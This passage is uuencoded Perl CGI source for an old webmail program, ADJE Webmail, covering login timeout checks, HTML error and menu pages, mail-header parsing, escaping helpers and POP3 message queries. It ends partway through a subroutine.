0;7D@)4,])21C;VQO<G,["@``
D;7D@)&9N86UE(#T@(B1U<V5R7V1I<FYA;64O:7`N='AT(CL*
*;&]C86P@)%\["@``
M;7D@)&QA<W1?;6]D7W-E8R`]("@M32`D9FYA;64I("H@,S8P,"XP("H@,C0N
#,#L*
D;7D@)'1I;65O=71?<V5C<R`]("1T:6UE;W5T("H@-C`N,#L*
M:68@*"`H(2`M92`D9FYA;64I('Q\("@D;&%S=%]M;V1?<V5C(#X@)'1I;65O
-=71?<V5C<RD@*2!["@``
H;7D@)'1I=&QE(#T@)$Q[)T5R<F]R.B!,;V=I;B!%>'!I<F5D)WT["@``
M;7D@)&5R<FUS9R`@(#T@(B1T:6UE;W5T("1,>R=L;V=I;G1I;65O=70G?2([
!"@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
:/&9O<FT@86-T:6]N/2)I;F1E>"YC9VDB/@H`
%/'1R/@H`
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
M/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!W:61T:#TB.3`E(B!A;&EG;CTB
)8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
K04-+?2!S:7IE/30^/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX\+V9O;G0^"@``
&/"]T9#X*
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
&/"]T<CX*
(/"]F;W)M/@H`
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)&5R<FUS9SPO<W1R;VYG
./CPO9F]N=#X\+W1D/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
)/"]T86)L93X*
(/"]F;W)M/@H`
$/'`^"@``
(2$52141/0PH`
F;7D@)&QA<W1A9"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
M)G!R:6YT7V)O='1O;5]L:6YK<R@D=7-E<E]D:7)N86UE+")#3U!94DE'2%1/
/3DQ9(BQ<)4,L7"5,*3L*
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
)97AI="@P*3L*
"?0H`
5;W!E;BA)1D@L(CPD9FYA;64B*3L*
38VAO;7`H)%\@/2`\249(/BD["@``
,8VQO<V4H249(*3L*
C*"1%3E9[4D5-3U1%7T%$1%)](&YE("1?*2`F)B!E>&ET.PH`
1;7D@)'1I;64@/2!T:6UE.PH`
G*"1F;F%M92`]?B`O7B@N*RDD+RD@)B8@*"1F;F%M92`]("0Q*3L*
J*"UE("1F;F%M92D@)B8@=71I;64H)'1I;64L)'1I;64L)&9N86UE*3L*
7?2`C(&5N9"!O9B!C:&5C:U]L;V=I;@H`
4<W5B(&=E=%]M<V=?9FEL97,@>PH`
0;7D@*"1R96,I(#T@0%\["@``
?;7D@0&9I96QD<R`]('-P;&ET*"]<?"\L)')E8RD["@``
-;7D@*$!F:6QE<RD["@``
99F]R96%C:"`D9FQD("A`9FEE;&1S*2!["@``
::68@*"`D9FQD("%^("]>5D%27"\O("D@>PH`
D*"1D97-C+"1F;F%M92D@/2!S<&QI="@O.B\L)&9L9"PR*3L*
5<'5S:"A`9FEL97,L)&9N86UE*3L*
"?0H`
"?0H`
/<F5T=7)N($!F:6QE<SL*
"?0H`
1<W5B(&=E=%]M<V=P;W,@>PH`
8;7D@*"1M<V=N;RQ`<F5C<RD@/2!`7SL*
.;7D@)&US9W!O<STQ.PH`
);7D@)&D],#L*
L=VAI;&4@*"`H)&D@/"`D;7-G;F\I("8F("@D:2`\/2`D(W)E8W,I("D@>PH`
M*"1R96-S6R1I72`A?B`O7'Q605)<+U-4051%.D1%3$5415Q\+RD@)B8@*"1M
*<V=P;W,K*RD["@``
&)&DK*SL*
"?0H`
0<F5T=7)N("1M<V=P;W,["@``
"?0H`
1<W5B(&=E=%]M<V=T;W0@>PH`
3;7D@*"1M<V=R968I(#T@0%\["@``
5;7D@0&US9W,@/2!`)&US9W)E9CL*
-;7D@)'1O="`](#`["@``
*;&]C86P@)%\["@``
.9F]R("A`;7-G<RD@>PH`
H*"$O7'Q605)<+U-4051%.D1%3$5415Q\+RD@)B8@*"1T;W0K*RD["@``
"?0H`
-<F5T=7)N("1T;W0["@``
"?0H`
9<W5B(&=E=%]M97-S86=E7W-T871E<R!["@``
3;7D@*"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
6;7D@*"5H87-H+"1K97DL)'9A;"D["@``
59F]R96%C:"`H0"1M<V=R968I('L*
B)&ME>2`]("9G971?9FEE;&0H7"1?+%PG5D%2+TE$)RD["@``
E)'9A;"`]("9G971?9FEE;&0H7"1?+%PG5D%2+U-4051%)RD["@``
4)&AA<VA[)&ME>7T@/2`D=F%L.PH`
"?0H`
-<F5T=7)N("5H87-H"@``
"?0H`
9<W5B(&=E=%]M97-S86=E7V9N86UE<R!["@``
3;7D@*"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
6;7D@*"5H87-H+"1K97DL)'9A;"D["@``
59F]R96%C:"`H0"1M<V=R968I('L*
B)&ME>2`]("9G971?9FEE;&0H7"1?+%PG5D%2+TE$)RD["@``
C)'9A;"`]("9G971?9FEE;&0H7"1?+%PG04Q,+T%,3"<I.PH`
4)&AA<VA[)&ME>7T@/2`D=F%L.PH`
"?0H`
-<F5T=7)N("5H87-H"@``
"?0H`
.<W5B(')E8W9A<G,@>PH`
2;7D@)6AE861E<G,@/2!`7SL*
J;7D@)')E8R`@/2`B5D%2+TE$.B1H96%D97)S>TU%4U-!1T5)1'U\(CL*
=)')E8R`N/2`B5D%2+U-4051%.E5.4D5!1'PB.PH`
J)')E8R`N/2`B5D%2+U-50DI%0U0Z)&AE861E<G-[4U5"2D5#5'U\(CL*
L)')E8R`N/2`B5D%2+T923TU.04U%.B1H96%D97)S>T923TU.04U%?7PB.PH`
M)')E8R`N/2`B5D%2+T923TU#3TU-14Y4.B1H96%D97)S>T923TU#3TU-14Y4
%?7PB.PH`
J)')E8R`N/2`B5D%2+T923TU!1$0Z)&AE861E<G-[1E)/34%$1'U\(CL*
J)')E8R`N/2`B5D%2+U)43TY!344Z)&AE861E<G-[4E1/3D%-17U\(CL*
H)')E8R`N/2`B5D%2+U)43T%$1#HD:&5A9&5R<WM25$]!1$1]?"(["@``
M)')E8R`N/2`B5D%2+U)43T-/34U%3E0Z)&AE861E<G-[4E1/0T]-345.5'U\
#(CL*
D)')E8R`N/2`B5D%2+T1!5$4Z)&AE861E<G-[1$%417U\(CL*
F)')E8R`N/2`B5D%2+T1!64U/.B1H96%D97)S>T1!64U/?7PB.PH`
M)')E8R`N/2`B5D%2+TU%4U-!1T5325I%.B1H96%D97)S>TU%4U-!1T5325I%
%?7PB.PH`
"?0H`
3<W5B(&1A=&5?-%]I;F)O>"!["@``
1;7D@*"1D871E*2`]($!?.PH`
2;7D@*"1D87DL)&UO;G1H*3L*
M*"1D871E(#U^("\H7&1<9#\I("LH6T$M6F$M>ETK*2\I("8F("@D9&%Y(#T@
4)#$I("8F("@D;6]N=&@])#(I.PH`
H*&QE;F=T:"@D9&%Y*2`\(#(I("8F("@D9&%Y(#T@(C`D9&%Y(BD["@``
;)&1A=&4@/2`B)'MM;VYT:'U?)'MD87E](CL*
"?0H`
4<W5B(&9R965?9FEL96YA;64@>PH`
2;7D@*"1F;F%M92D@/2!`7SL*
);7D@)&D],3L*
6=VAI;&4@*"`M92`D9FYA;64@*2!["@``
6)&9N86UE(#U^(',O7&0J)"\D:2\["@``
&*RLD:3L*
"?0H`
/<F5T=7)N("1F;F%M93L*
"?0H`
5<W5B(')E;&%T:79E7VUS9VYO('L*
K;7D@*"1M<V=N;RPD<F5L871I=F5?<&]S:71I;VXL0')E8W,I(#T@0%\["@``
7;7D@)&US9VYO7VEN(#T@)&US9VYO.PH`
D:68@*"`H)"-R96-S(#P@,"D@?'P@*"1M<V=N;R`\(#`I("D*
3>R!R971U<FX@+3$P,#`P.R!]"@``
D:68@*"1R96QA=&EV95]P;W-I=&EO;B!E<2`B3D585"(I('L*
*)&US9VYO*RL["@``
M=VAI;&4@*"@D;7-G;F\@/#T@)"-R96-S*2`F)B`H)')E8W-;)&US9VYO72`]
>?B`O7'Q605)<+U-4051%.D1%3$5415Q\+RDI('L*
*)&US9VYO*RL["@``
"?0H`
8:68@*"1M<V=N;R`\/2`D(W)E8W,I('L*
5)')T;E]M<V=N;R`]("1M<V=N;SL*
)?2!E;'-E('L*
;)')T;E]M<V=N;R`]("(M)&US9VYO7VEN(CL*
"?0H`
"?0H`
D:68@*"1R96QA=&EV95]P;W-I=&EO;B!E<2`B4%)%5B(I('L*
*)&US9VYO+2T["@``
M=VAI;&4@*"@D;7-G;F\@/CT@,"D@)B8@*"1R96-S6R1M<V=N;UT@/7X@+UQ\
95D%27"]35$%413I$14Q%5$5<?"\I*2!["@``
*)&US9VYO+2T["@``
"?0H`
3:68@*"1M<V=N;R`^/2`P*2!["@``
5)')T;E]M<V=N;R`]("1M<V=N;SL*
)?2!E;'-E('L*
;)')T;E]M<V=N;R`]("(M)&US9VYO7VEN(CL*
"?0H`
"?0H`
3<F5T=7)N("1R=&Y?;7-G;F\["@``
"?0H`
8<W5B('!R:6YT7V)A8VM?97)R;7-G('L*
H;7D@*"1L86YG+"1C;VQO<G,L)'1I=&QE+"1E<G)M<V<I(#T@0%\["@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@;&EN:STD0WM,24Y+?2!A;&EN
=:STD0WM!3$E.2WT@=FQI;FL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
%/'1R/@H`
J/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!A;&EG;CTB8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
/04-+?2!S:7IE/2(T(CX*
8/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX*
(/"]F;VYT/@H`
&/"]T9#X*
&/"]T<CX*
)/"]T86)L93X*
$/'`^"@``
)/&-E;G1E<CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
&04-+?3X*
//&(^)&5R<FUS9SPO8CX*
(/"]F;VYT/@H`
$/'`^"@``
'/&9O<FT^"@``
M/&EN<'5T('1Y<&4](F)U='1O;B(@3VY#;&EC:STB:&ES=&]R>2YB86-K*"DB
5('9A;'5E/2(D3'LG0F%C:R=](CX*
(/"]F;W)M/@H`
*/"]C96YT97(^"@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
"?0H`
3<W5B('!R:6YT7V5R<FUS9R!["@``
C;7D@*"1L86YG+"1C;VQO<G,L)&-O<'EO;FQY*2`]($!?.PH`
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
K/'1I=&QE/B1,>R=796)M86EL($5R<F]R($UE<W-A9V4G?3PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
:/&9O<FT@86-T:6]N/2)I;F1E>"YC9VDB/@H`
%/'1R/@H`
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
M/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!W:61T:#TB.3`E(B!A;&EG;CTB
)8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
/04-+?2!S:7IE/2(T(CX*
K/'-T<F]N9SXD3'LG17)R;W(Z($QO9VEN($9A:6QE9"=]/"]S=')O;F<^"@``
(/"]F;VYT/@H`
&/"]T9#X*
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)$Q[)VQO9VEN97)R;7-G
8)WT\+W-T<F]N9SX\+V9O;G0^/"]T9#X*
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
'/&9O<FT^"@``
)/"]T86)L93X*
(2$52141/0PH`
C;7D@)'1M<"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
G?2`C(&5N9"!O9B!P<FEN=%]E<G)M<V<@<W5B<F]U;G1I;F4N+BX*
5<W5B('!R:6YT7W1O<%]M96YU('L*
M;7D@*"1T:71L92PD=7-E<E]D:7)N86UE+"1L86YG+"1C;VQO<G,I(#T@0%\[
!"@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
L*&UY("1U<V5R;F%M92`]("1U<V5R7V1I<FYA;64I(#U^(',O+BI<+R\O.PH`
M;7D@)&EN/2(\;W!T:6]N('9A;'5E/5PB<&]P;7-G<UPB/B1,>R=);F-O;6EN
/9R!-97-S86=E<R=](CL*
M;7D@)&]U=#TB/&]P=&EO;B!V86QU93U<(G-E;G1M<V=S7"(^)$Q[)U-A=F5D
7($]U=&=O:6YG($UE<W-A9V5S)WTB.PH`
M:68@*"UF("(D=7-E<E]D:7)N86UE+T%$2D5314Y41D],1$5204-4259%+G1X
&="(I('L*
7)&QI;F4Q(#T@(B1O=70D=&ET;&4B.PH`
.)&QI;F4R(#T@)&EN.PH`
)?2!E;'-E('L*
6)&QI;F4Q(#T@(B1I;B1T:71L92(["@``
/)&QI;F4R(#T@)&]U=#L*
"?0H`
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB:F%V87-C<FEP="(^"@``
%/"$M+0H`
:9G5N8W1I;VX@8VAA;F=E9F]L9&5R*"D@>PH`
M=F%R(&EN9&5X/61O8W5M96YT+F9O;&1E<G-E;&5C="YT;V)O>"YS96QE8W1E
'9$EN9&5X"@``
M=F%R('9A;"`](&1O8W5M96YT+F9O;&1E<G-E;&5C="YT;V)O>"YO<'1I;VYS
.6VEN9&5X72YV86QU90H`
B9&]C=6UE;G0N;6%I;&)O>"Y&3TQ$15(N=F%L=64]=F%L"@``
:9&]C=6UE;G0N;6%I;&)O>"YS=6)M:70H*0H`
"?0H`
&+R\M+3X*
*/"]S8W)I<'0^"@``
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
%/'1R/@H`
M/&9O<FT@;F%M93TB;6%I;&)O>"(@;65T:&]D/2)03U-4(B!A8W1I;VX](FEN
*8F]X+F-G:2(^"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=-86EL($)O>"=](CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB1D],1$52(B!V86QU93TB;F]C
(:&%N9V4B/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B!V86QU93TB;6%I
';&)O>"(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
J/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F-O;7!O<V4N8V=I(CX*
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=#;VUP;W-E)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B`@("`@=F%L=64]
/(DYE=R!-97-S86=E(CX*
&/"]T9#X*
(/"]F;W)M/@H`
M/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F5D:71A9&1B;V]K+F-G:2(^
!"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=!9&1R97-S97,G?2(^
!"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
;/&9O<FT@;F%M93TB9F]L9&5R<V5L96-T(CX*
M/'1D('=I9'1H/2(Y-24B(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!A;&EG;CTB
)8V5N=&5R(CX*
M/'-E;&5C="!N86UE/2)T;V)O>"(@;VYC:&%N9V4](F-H86YG969O;&1E<B@I
#(CX*
')&QI;F4Q"@``
')&QI;F4R"@``
*/"]S96QE8W0^"@``
&/"]T9#X*
(/"]F;W)M/@H`
I/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](FQO9V]U="YC9VDB/@H`
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=,;V<@3W5T)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
&/"]T<CX*
)/"]T86)L93X*
(2$52141/0PH`
"?0H`
4<W5B('5N97-C87!E7VAT;6P@>PH`
6;7DH)'1O=6YE;F-O9&4I(#T@0%\["@``
:)'1O=6YE;F-O9&4]?G,O)F%M<#LO)B]G.PH`
<)'1O=6YE;F-O9&4]?G,O)G%U;W0[+UPB+V<["@``
9)'1O=6YE;F-O9&4]?G,O)F=T.R\^+V<["@``
9)'1O=6YE;F-O9&4]?G,O)FQT.R\\+V<["@``
4<F5T=7)N("1T;W5N96YC;V1E.PH`
"?0H`
2<W5B(&5S8V%P95]H=&UL('L*
4;7DH)'1O96YC;V1E*2`]($!?.PH`
?(61E9FEN960H)'1O96YC;V1E*2`F)B!R971U<FX["@``
8)'1O96YC;V1E/7YS+R8O)F%M<#LO9SL*
:)'1O96YC;V1E/7YS+UPB+R9Q=6]T.R]G.PH`
7)'1O96YC;V1E/7YS+SXO)F=T.R]G.PH`
7)'1O96YC;V1E/7YS+SPO)FQT.R]G.PH`
2<F5T=7)N("1T;V5N8V]D93L*
"?0H`
3<W5B('5N97-C87!E7W5R;"!["@``
4;7DH)'1O9&5C;V1E*2`]($!?.PH`
6)'1O9&5C;V1E(#U^('1R+RLO("\["@``
M)'1O9&5C;V1E(#U^(',O)2A;,"TY82UF02U&77LR?2DO<&%C:R@B8R(L:&5X
**"0Q*2DO9V4["@``
2<F5T=7)N("1T;V1E8V]D93L*
"?0H`
1<W5B(&5S8V%P95]U<FP@>PH`
4;7DH)'1O96YC;V1E*2`]($!?.PH`
<(21T;V5N8V]D92`F)B!R971U<FX@=6YD968["@``
M)'1O96YC;V1E/7YS+RA;7F$M>D$M6C`M.5]<+2Y=*2]U8R!S<')I;G1F*"(E
4)24P,G@B+&]R9"@D,2DI+V5G.PH`
2<F5T=7)N("1T;V5N8V]D93L*
"?0H`
2<W5B(&=E=%]H96%D97)S('L*
5;7D@*$!H96%D;&EN97,I/2!`7SL*
<;7D@)&AE860@/2!-24U%.CI(96%D+3YN97<["@``
=)&AE860M/F5X=')A8W0H7$!H96%D;&EN97,I.PH`
/)&AE860M/G5N9F]L9#L*
/)&AE860M/F1E8V]D93L*
C;7D@)&1A=&4@("`@/2`D:&5A9"T^9V5T*"=$871E.B<I.PH`
A;7D@)&-C("`@("`@/2`D:&5A9"T^9V5T*"=#8SHG*3L*
F;7D@)'-U8FIE8W0@/2`D:&5A9"T^9V5T*"=3=6)J96-T.B<I.PH`
A;7D@)'1O("`@("`@/2`D:&5A9"T^9V5T*"=4;SHG*3L*
C;7D@)&9R;VT@("`@/2`D:&5A9"T^9V5T*"=&<F]M.B<I.PH`
G;7D@)')E<&QY=&\@/2`D:&5A9"T^9V5T*"=297!L>2U4;SHG*3L*
6(21D871E("8F("@D9&%T93TG)RD["@``
2(21C8R`F)B`H)&-C/2<G*3L*
<(21S=6)J96-T("8F("@D<W5B:F5C=#TG)RD["@``
2(21T;R`F)B`H)'1O/2<G*3L*
6(21F<F]M("8F("@D9G)O;3TG)RD["@``
<(21R97!L>71O("8F("@D<F5P;'ET;STG)RD["@``
0;7D@)6AE861E<G,@/2`H"@``
74U5"2D5#5"`@(#T^("1S=6)J96-T+`H`
25$\@("`@("`@(#T^("1T;RP*
41E)/32`@("`@(#T^("1F<F]M+`H`
74D503%E43R`@(#T^("1R97!L>71O+`H`
20T,@("`@("`@(#T^("1C8RP*
41$%412`@("`@(#T^("1D871E+`H`
#*3L*
@9F]R96%C:"`D:V5Y("AK97ES*"5H96%D97)S*2D@>PH`
B(61E9FEN960H)&AE861E<G-[)&ME>7TI("8F(&YE>'0["@``
;)&AE861E<G-[)&ME>7T@/7X@<R]>("LO+SL*
=)&AE861E<G-[)&ME>7T@/7X@<R]<<C]<;B\O.PH`
;)&AE861E<G-[)&ME>7T@/7X@<R\@*R0O+SL*
"?0H`
D;7D@*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
M*"1N86UE+"1A9&0L)&-O;6TI(#T@)G!A<G-E7V5M86EL7V%D9')E<W,H)&AE
.861E<G-[1E)/37TI.PH`
>)&AE861E<G-[1E)/34%$1'T@("`@(#T@)&%D9#L*
?)&AE861E<G-[1E)/34Y!345]("`@(#T@)&YA;64["@``
?)&AE861E<G-[1E)/34-/34U%3E1](#T@)&-O;6T["@``
A*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
M*"1N86UE+"1A9&0L)&-O;6TI(#T@)G!A<G-E7V5M86EL7V%D9')E<W,H)&AE
1861E<G-[4D503%E43WTI.PH`
=)&AE861E<G-[4E1/041$?2`@("`@/2`D861D.PH`
>)&AE861E<G-[4E1/3D%-17T@("`@/2`D;F%M93L*
>)&AE861E<G-[4E1/0T]-345.5'T@/2`D8V]M;3L*
M)&AE861E<G-[1$%934]]("`@("`@(#T@)F1A=&5?-%]I;F)O>"@D:&5A9&5R
*<WM$051%?2D["@``
1<F5T=7)N("5H96%D97)S.PH`
B?2`C(&5N9"!S=6)R;W5T:6YE(&=E=%]H96%D97)S+BXN"@``
9<W5B('!R:6YT7V)O='1O;5]L:6YK<R!["@``
M;7D@*"1U<V5R7V1I<FYA;64L)&-O<'EO;FQY+"1C;VQO<G,L)&QA;F<I(#T@
$0%\["@``
0;7D@)4,])21C;VQO<G,["@``
.;7D@)4P])21L86YG.PH`
3;7D@)5`])F=E=%]P87)A;7,["@``
M<')I;G0@(CQF;VYT(&9A8V4]7")A<FEA;"QH96QV971I8V%<(B!C;VQO<CTD
30WM415A47T),04-+?3Y<;B(["@``
4:68@*"9I<U]L:6-E;G-E9"D@>PH`
0<')I;G0\/$A%4D5$3T,["@``
./&9O;G0@<VEZ93TQ/@H`
$/'`^"@``
M041*12!796)M86EL(%9E<G-I;VX@)%![5D524TE/3GT@)F-O<'D[(#$Y.3@L
M,3DY.2PR,#`P(#QA(&AR968](FAT='`Z+R]W=W<N861J97=E8BYC;VTB/D%$
M2D4L($Q,0SPO83XN($%L;"!2:6=H=',@4F5S97)V960N(#QB/D1)4T-,04E-
M15(Z/"]B/B!5<V4@=&AI<R!S;V9T=V%R92!A;F0@=&AE(&%S<V]C:6%T960@
<=V5B('!A9V5S(&%T('EO=7(@;W=N(')I<VLN"@``
(/"]F;VYT/@H`
(2$52141/0PH`
)?2!E;'-E('L*
0<')I;G0\/$A%4D5$3T,["@``
(/'-M86QL/@H`
$/'`^"@``
M041*12!796)M86EL(%9E<G-I;VX@)%![5D524TE/3GT@)F-O<'D[(#$Y.3@L
M,3DY.2PR,#`P($%$2D4L($Q,0R`H5&AE($5D9V4I+B!!;&P@4FEG:'1S(%)E
M<V5R=F5D+B`\8CY$25-#3$%)3452.CPO8CX@57-E('1H:7,@<V]F='=A<F4@
M86YD('1H92!A<W-O8VEA=&5D('=E8B!P86=E<R!A="!Y;W5R(&]W;B!R:7-K
M+B`@66]U(&UA>2!D;W=N;&]A9"!T:&4@<&5R;"!C9VD@<V-R:7!T<R!T:&%T
0(&=E;F5R871E('1H97-E"@``
M<&%G97,@/&(^1E)%13PO8CX@9G)O;2!O=7(@:&]M92!P86=E(&%T(#QB/CQA
M(&AR968](FAT='`Z+R]W=W<N861J97=E8BYC;VTB/FAT='`Z+R]W=W<N861J
197=E8BYC;VT\+V$^/"]B/@H`
)/"]S;6%L;#X*
(/"]F;VYT/@H`
(2$52141/0PH`
"?0H`
"?0H`
0<W5B(')M7VUS9V1I<B!["@``
0;7D@*"1D:7(I(#T@0%\["@``
*;&]C86P@)%\["@``
.;7D@)&9P871H/2<G.PH`
4;W!E;F1I<B@D9&ER+"1D:7(I.PH`
C=VAI;&4H9&5F:6YE9"@D7SUR96%D9&ER*"1D:7(I*2D@>PH`
5+R@N*BDO("8F("@D7R`]("0Q*3L*
1+UY<+BLD+R`F)B!N97AT.PH`
4)&9P871H(#T@(B1D:7(O)%\B.PH`
1:68@*"UD("1F<&%T:"D@>PH`
4)G)M7VUS9V1I<B@D9G!A=&@I.PH`
)?2!E;'-E('L*
/=6YL:6YK("1F<&%T:#L*
"?0H`
"?0H`
7+60@)&1I<B`F)B!R;61I<B`D9&ER.PH`
(<F5T=7)N.PH`
"?0H`
3<W5B(&=E=%]O=7)?=6ED;"!["@``
C;7D@*"1M<V=N;RPD;7-G<VEZ92PD<V]C:V5T*2`]($!?.PH`
*;&]C86P@)%\["@``
M;7D@*"1F<F]M+"1D871E+"1S=6)J96-T+"1M97-S86=E:60L)'5I9&PI(#T@
2*"<G+"<G+"<G+"<G+"<G*3L*
D<V5N9"@D<V]C:V5T+")43U`@)&US9VYO(#!<<EQN(BPP*3L*
.)%\]/"1S;V-K970^.PH`
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<<C]<;B0O
%("D@>PH`
5:68@*"`O7D9R;VTZ("LO:2`I('L*
+<R]<<C]<;B\O.PH`
